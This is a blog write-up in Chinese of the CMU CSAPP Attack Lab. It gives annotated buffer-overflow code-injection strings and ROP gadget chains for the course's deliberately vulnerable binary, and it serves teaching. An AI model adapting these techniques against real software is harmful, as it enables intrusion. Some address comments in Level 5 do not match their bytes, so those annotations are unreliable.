盒子
盒子
文章目录
  1. 实验内容
    1. 重要知识
  2. 缓冲区溢出攻击
    1. Level 1
    2. Level 2
    3. Level 3
  3. ROP
    1. Level 4
    2. Level 5

CMU15213:CSAPP 实验三:AttackLab

实验内容

《深入理解计算机系统》的第三个实验,利用缓冲区溢出,实现:1.代码注入 2.当栈内无法插入可执行代码时,利用Gadget实现攻击。

重要知识

  1. 栈底地址最大,栈顶地址最小。寄存器%rsp指向栈顶
  2. %rdi 为函数调用的第一个参数。
  3. 我们可以通过Gets等函数,向栈里注入可执行代码,从而形成攻击。
  4. 另一种方式是return-oriented programming,在栈中插入连续的Gadget,从而应对栈中代码不可执行以及地址随机的问题。
  5. 利用GDB逐步跟踪,以及objdump反汇编得到函数的具体地址。

缓冲区溢出攻击

Level 1

函数入口为:

1
2
3
4
5
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

当使用getbuf的时候,会调用Gets。输入恰当的字符串,使得返回到touch1函数,从而实现第一个攻击。

1
2
void touch1() {
vlevel = 1; /* Part of validation protocol */ printf("Touch1!: You called touch1()\n"); validate(1); exit(0); }

使用GDB查看getbuf的汇编码,发现栈中为字符串开了40个字节,所以随便输入40个字节的字符,再把touch1的地址(0x4017c0)放在之后作为getbuf返回的地址即可。注意是little endian的规则,并且用0a作为字符串结尾。

1
2
3
4
5
6
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
61 61 61 61 61 61 61 61
c0 17 40 0a /* touch1的地址 */

Level 2

touch 2如下:

1
2
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); }else{ printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }

level 2 需要调用touch 2,并且传入一个与cookie相同的参数val。我们在栈中插入一段可执行代码,将cookie的值放入%edi寄存器,然后再调用touch 2即可。

1
2
3
4
5
6
7
bf fa 97 b9 59 c3 90 90 /* 2. 0x5561dc78: mov $0x59b997fa, %edi ret */
65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65
78 dc 61 55 00 00 00 00 /* 1. 跳转到栈中的可执行代码,地址为0x5561dc78。相当于ret,所以%rsp+8 */
ec 17 40 0a /* 3. 执行完上述mov 操作,挑战到 touch2 */

Level 3

touch 3要传入一个字符串的首地址,和hexmatch里面的cookie做比较。所以传入的字符串必须包含cookie。由于touch 3还会调用hexmatch,hexmatch函数中有一个临时字符串,所以不能和传入的字符串冲突。

1
2
3
4
5
6
7
48 c7 c7 a8 dc 61 55 90 /* 2. 0x5561dc78: mov $0x5561dca8 %rdi */
68 fa 18 40 00 90 90 90 /* 3. pushq 0x4018fa */
c3 90 90 90 90 90 90 90 /* 4. ret */
65 65 65 65 65 65 65 65
65 65 65 65 65 65 65 65
78 dc 61 55 00 00 00 00 /* 1. 跳转到栈中可执行代码,地址为0x5561dc78, 并且%rsp+8 */
35 39 62 39 39 37 66 61 /* 0x5561dca8: cookie string address */

ROP

当栈中无法插入可执行代码时,我们能够通过一系列依次执行的Gadget来实现攻击。

Level 4

level 4通过组合popq %rax, movq %rax %rdi 将栈中的cookie先放到寄存器%rax中,再移动到%rdi中,作为参数传入touch 2

1
2
3
4
5
6
7
8
9
10
90 90 90 90 90 90 90 90
65 65 65 65 65 65 65 65
66 66 66 66 66 66 66 66
67 67 67 67 67 67 67 67
68 68 68 68 68 68 68 68
ab 19 40 00 00 00 00 00 /* 1. jump to 0x4019ab, %rsp+8, 而0x4019ab的指令为 popq %rax */
fa 97 b9 59 00 00 00 00 /* 2. cookie为0x59b997fa, 将其pop到%rax中 */
c5 19 40 00 00 00 00 00 /* 3. 执行完第一个Gadget,返回后跳到0x4019c5, 执行第二个:movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* 4. 执行完返回,跳转到touch2: 0x4017ec */
0a

Level 5

level 5要通过Gadget将字符串的首地址传给touch3。 由于touch3调用了hexmatch,所以必须要将字符串放在栈底,才不会被其它修改。通过以下组合来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00 00 00 00 00 00 00 00
11 11 11 11 11 11 11 11
22 22 22 22 22 22 22 22
33 33 33 33 33 33 33 33
44 44 44 44 44 44 44 44
06 1a 40 00 00 00 00 00 /* 1. 第一个Gadget 0x401a60: movq %rsp %rax */
a2 19 40 00 00 00 00 00 /* 2. 第二个Gadget 0x4019a2: movq %rax %rdi */
ab 19 40 00 00 00 00 00 /* 3. 第三个Gadget 0x4019ab: popq %rax */
48 00 00 00 00 00 00 00 /* 第三个Gadget中栈中取出到%rax的为常数 0x48 */
dd 19 40 00 00 00 00 00 /* 4. 第四个Gadget 0x4019dd: movl %eax %edx */
34 1a 40 00 00 00 00 00 /* 5. 第五个Gadget 0x401a34: movl %edx %ecx */
13 1a 40 00 00 00 00 00 /* 6. 第六个Gadget 0x401a13: movl %ecx %esi */
d6 19 40 00 00 00 00 00 /* 7. 第七个Gadget 0x4019d6: lea (%rdi, %rsi, 1) %rax */
a2 19 40 00 00 00 00 00 /* 8. 第八个Gadget 0x4019dd: movq %rax %rdi */
fa 18 40 00 00 00 00 00 /* 9. 将字符串的位置赋给%rdi后,调用touch3 */
35 39 62 39 39 37 66 61 /* cookie */
00 00 00 00 00 00 00 0a